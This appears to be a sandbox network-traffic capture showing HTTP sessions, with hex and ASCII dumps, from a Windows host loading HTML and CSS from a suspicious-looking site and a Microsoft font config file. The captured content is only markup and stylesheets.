2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button>
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 22 71 68 64 61 22 3e 3c 2f 73 70 61 6e 3e 3c 62 72 2f 3e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 20 63 6c 61 73 73 3d 22 63 6c 73 71 6e 75 22 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 20 63 6c 61 73 73 3d 22 63 6c 74 78 74 22 3e 3c 2f 62 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "qhda"></span><br/><br/> <small class="clsqnu"></small><br/> <b class="cltxt"></b> </h2> <div class="clsnqa">
2024-10-03 16:18:10 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 20 2d 2d 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 76 65 72 69 66 2d 63 6f 6e 74 65 6e 74 20 68 69 64 64 65 6e 22 20 69 64 3d 22 76 65 72 69 66 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 76 65 72 69 66 2d 63 6f 6e 74 65 6e 74 2d 74 69 74 6c 65 22 3e 3c 62 3e 50 6c 65 61 73 65 20 77 61 69 74 20 77 68 69 6c 65 20 77 65 20 70 72 6f 63 65 73 73 20 79 6f 75 72 20 61 6e 73 77 65 72 Data Ascii: </div> </div> --> <div class="clsnqaaa-verif-content hidden" id="verif-content"> <h2 class="clsnqaaa-verif-content-title"><b>Please wait while we process your answer

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49716	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:10 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-03 16:18:10 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=1661 Date: Thu, 03 Oct 2024 16:18:10 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49724	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-03 16:18:11 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25937 Date: Thu, 03 Oct 2024 16:18:11 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-03 16:18:11 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49726	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	670	OUT	GET /master/us217/style.min.css HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:52:30 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3071 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8WjwedqCXLKQaqAqT9xYFR9zdE6%2BYCZiqlA51QUXiCaxgFFcUXsZJ7tttPUTFS4NtqR3DH%2F8EruXHLI0XOO6quUdoRCbDSEuRwAiUNgL721a3KT5hBenq%2BmhjnwBmRGWrqsBpyT2UQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f297c3d4384-EWR
2024-10-03 16:18:12 UTC	570	IN	Data Raw: 32 37 62 38 0d 0a 2e 62 64 79 61 6c 6e 32 2c 2e 62 64 79 61 71 75 65 73 74 69 6f 6e 20 2e 63 6c 73 6e 71 61 2c 2e 62 64 79 61 71 75 65 73 74 69 6f 6e 20 68 32 2c 2e 63 6c 73 6e 71 61 61 61 2d 76 65 72 69 66 2d 63 6f 6e 74 65 6e 74 2c 2e 63 6f 6e 2d 62 6f 64 79 20 62 75 74 74 6f 6e 2c 2e 64 62 79 62 63 61 72 72 65 74 2c 2e 66 6f 6f 74 65 72 2d 63 6f 6e 74 65 6e 74 2c 2e 68 64 61 2d 6c 6e 32 2c 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 31 2c 2e 70 72 72 7a 61 20 2e 70 72 72 7a 62 6f 62 74 6e 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 2d 62 6f 74 74 6f 6d 2d 62 61 72 2c 2e 6d 6f 64 2d 63 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 31 30 30 25 7d 3a 72 6f 6f 74 7b 2d 2d 62 74 6e 62 67 3a 23 30 34 31 Data Ascii: 27b8.bdyaln2,.bdyaquestion .clsnqa,.bdyaquestion h2,.clsnqaaa-verif-content,.con-body button,.dbybcarret,.footer-content,.hda-ln2,.prrza .prrzaoln1,.prrza .prrzbobtn{text-align:center}.con-bottom-bar,.mod-con{position:fixed;width:100%}:root{--btnbg:#041
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 39 32 39 32 39 32 3b 2d 2d 6d 6f 64 66 74 74 72 62 72 64 72 3a 23 66 66 66 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 32 65 32 65 32 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 62 67 2e 6a 70 67 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 61 74 74 61 63 68 6d 65 6e 74 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 79 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 7d 2e 63 6f 6e 2d 62 6f Data Ascii: 929292;--modfttrbrdr:#fff}body{padding:0;margin:0;background-color:#e2e2e2;font-family:sans-serif;font-size:14px;background-image:url('bg.jpg');background-attachment:fixed;background-position:center;background-repeat:repeat-y;background-size:cover}.con-bo
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 64 63 6c 72 2d 6c 6e 31 29 7d 2e 68 64 61 2d 6c 6e 32 20 2e 68 64 61 2d 6c 69 6e 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 77 69 64 74 68 3a 32 30 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 64 63 6c 72 2d 6c 6e 32 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e 68 64 61 2d 6c 6e 32 20 2e 68 64 61 2d 6c 69 6e 65 20 68 72 7b 77 69 64 74 68 3a 34 30 70 78 3b 62 6f 72 64 65 72 3a 30 20 73 6f 6c 69 64 20 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 64 63 6c 72 2d 6c 6e 32 29 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 68 64 61 2d 6c 6e 32 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c Data Ascii: color:var(--hdclr-ln1)}.hda-ln2 .hda-line{padding-top:2px;width:200px;display:flex;margin:auto;color:var(--hdclr-ln2);font-weight:600}.hda-ln2 .hda-line hr{width:40px;border:0 solid #000;background-color:var(--hdclr-ln2);height:1px}.hda-ln2{background-col
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 72 7a 61 20 2e 70 72 72 7a 61 6f 6f 75 74 74 65 72 7b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 32 70 78 20 64 61 73 68 65 64 20 76 61 72 28 2d 2d 70 72 7a 2d 6f 74 72 2d 62 72 64 72 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 37 66 37 66 37 7d 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6f 75 74 74 65 72 2d 6f 75 74 7b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 32 70 78 20 64 61 73 68 65 64 20 23 34 39 34 39 34 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6f 70 61 63 69 74 79 3a 2e 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 37 66 37 66 37 Data Ascii: rza .prrzaooutter{padding:10px;border:2px dashed var(--prz-otr-brdr);border-radius:5px;display:flex;background-color:#f7f7f7}.prrza .prrzaooutter-out{padding:10px;border:2px dashed #494949;border-radius:5px;display:flex;opacity:.4;background-color:#f7f7f7
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 74 6f 6e 2c 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 62 75 74 74 6f 6e 2d 64 69 73 2c 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 32 20 2e 70 72 72 7a 62 6f 70 66 73 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 32 20 2e 70 72 72 7a 62 6f 70 66 73 7b 63 6f 6c 6f 72 3a 23 65 62 30 30 30 30 7d 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 74 6e 62 67 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 74 6e 63 6c 72 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 74 6e 62 72 64 72 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 63 75 Data Ascii: ton,.prrza .prrzaobutton-dis,.prrza .prrzaoln2 .prrzbopfs{font-size:18px;font-weight:600}.prrza .prrzaoln2 .prrzbopfs{color:#eb0000}.prrza .prrzaobutton{background-color:var(--btnbg);color:var(--btnclr);border:1px solid var(--btnbrdr);border-radius:3px;cu
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 2e 63 6d 6d 74 74 65 78 74 20 69 6d 67 7b 68 65 69 67 68 74 3a 32 30 30 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 7d 2e 63 6d 6d 74 62 6f 78 20 74 65 78 74 61 72 65 61 7b 77 69 64 74 68 3a 39 39 2e 35 25 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 38 61 38 61 38 61 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 7d 2e 63 6d 6d 74 66 6f 6f 74 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 63 6d 6d 74 66 6f 6f 74 65 72 20 64 69 76 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 7b 63 6f 6c 6f 72 3a 23 38 61 38 61 38 61 7d 2e 63 6d 6d 74 66 6f 6f 74 65 72 20 73 70 61 6e 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 Data Ascii: .cmmttext img{height:200px;padding-top:10px}.cmmtbox textarea{width:99.5%;border:1px solid #8a8a8a;border-radius:3px}.cmmtfooter{align-items:center;justify-content:space-between}.cmmtfooter div:first-of-type{color:#8a8a8a}.cmmtfooter span{padding-right:15
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 2d 63 6f 6d 6d 65 6e 74 7b 6d 61 72 67 69 6e 3a 33 35 70 78 20 32 35 70 78 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 2e 63 6d 6d 74 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 7d 2e 63 6d 6d 74 74 65 78 74 20 69 6d 67 7b 68 65 69 67 68 74 3a 31 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 70 78 7d 2e 63 6d 6d 74 64 65 73 63 20 2e 63 6d 6d 74 6e 61 6d 65 2c 2e 63 6d 6d 74 64 65 73 63 20 2e 63 6d 6d 74 74 65 78 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 39 70 78 7d 2e 63 6d 6d 74 66 6f 6f 74 65 72 20 73 70 61 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 37 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 7d 2e 63 6d 6d 74 66 6f 6f 74 65 72 20 61 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: -comment{margin:35px 25px;padding:15px}.cmmttext{font-size:13px}.cmmttext img{height:120px;padding-top:5px}.cmmtdesc .cmmtname,.cmmtdesc .cmmttext{padding-bottom:9px}.cmmtfooter span{font-size:11px;padding-right:7px;padding-left:5px}.cmmtfooter a{font-siz
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 36 33 30 32 7d 23 62 74 6e 2d 63 6c 6f 73 65 7b 63 6f 6c 6f 72 3a 23 62 36 62 36 62 36 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 6f 72 64 65 72 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 62 74 6e 2d 63 6c 6f 73 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 34 34 7d 2e 6d 64 6c 61 69 6e 6e 7b 61 6e 69 6d 61 74 69 6f 6e 3a 31 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 6d 6f 76 65 2d 63 6f 6e 7d 40 6b 65 79 66 72 61 6d 65 73 20 6d 6f 76 65 2d 63 6f 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 30 2c 2d 32 30 30 70 78 29 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 7d 7d 2e 6d 64 6c Data Ascii: 6302}#btn-close{color:#b6b6b6;cursor:pointer;border:0;background-color:#fff}#btn-close:hover{color:#f44}.mdlainn{animation:1s ease-in-out move-con}@keyframes move-con{0%{opacity:0;transform:translate(0,-200px)}100%{opacity:1;transform:translate(0,0)}}.mdl
2024-10-03 16:18:12 UTC	23	IN	Data Raw: 73 3a 33 70 78 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 0d 0a Data Ascii: s:3px;cursor:pointer}
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49729	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:11 UTC	672	OUT	GET /master/us217/animate.min.css HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3071 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=euZkYcsCPgtxJEjH8gi1J7xNH%2BDYIz8XJb5tbs6CAKP%2BanOyblQwmGgJE4uczm8hZn7yu2fZZ72wq1dNDizfc6B5UewJ5b%2FrI3wZQHCO3%2BgO0Yx33aFuvJLWQG9Di%2FJYpJ0eH7HB7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f297f1e42f4-EWR
2024-10-03 16:18:12 UTC	566	IN	Data Raw: 37 62 63 38 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 61 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 73 3a 2f 2f 61 6e 69 6d 61 74 65 2e 73 74 79 6c 65 2f 0a 20 2a 20 56 65 72 73 69 6f 6e 20 2d 20 34 2e 31 2e 31 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 20 41 6e 69 6d 61 74 65 2e 63 73 73 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 72 Data Ascii: 7bc8@charset "UTF-8";/! animate.css - https://animate.style/ * Version - 4.1.1 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2020 Animate.css */:root{--animate-duration:1s;--animate-delay:1s;--animate-r
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 69 6e 66 69 6e 69 74 65 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 2e 61 6e 69 6d 61 74 65 5f 5f 72 65 70 65 61 74 2d 31 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 31 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 31 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 72 65 70 65 61 74 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 72 65 70 65 61 74 29 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 Data Ascii: animation-iteration-count:infinite}.animate__animated.animate__repeat-1{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-iteration-count:var(--animate-repeat);animation-iteration-count:var(--animate-repeat)}.animate__anima
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 34 29 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 2e 61 6e 69 6d 61 74 65 5f 5f 64 65 6c 61 79 2d 35 73 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 35 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 35 73 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 63 61 6c 63 28 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 35 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 63 61 6c 63 28 76 61 72 28 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 29 2a 35 29 7d 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 73 74 65 72 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d Data Ascii: (--animate-delay)4)}.animate__animated.animate__delay-5s{-webkit-animation-delay:5s;animation-delay:5s;-webkit-animation-delay:calc(var(--animate-delay)5);animation-delay:calc(var(--animate-delay)*5)}.animate__animated.animate__faster{-webkit-animation-
2024-10-03 16:18:12 UTC	1369	IN	Data Raw: 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 34 30 25 2c 34 33 25 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b Data Ascii: %,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translateZ(0);transform:translateZ(0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);
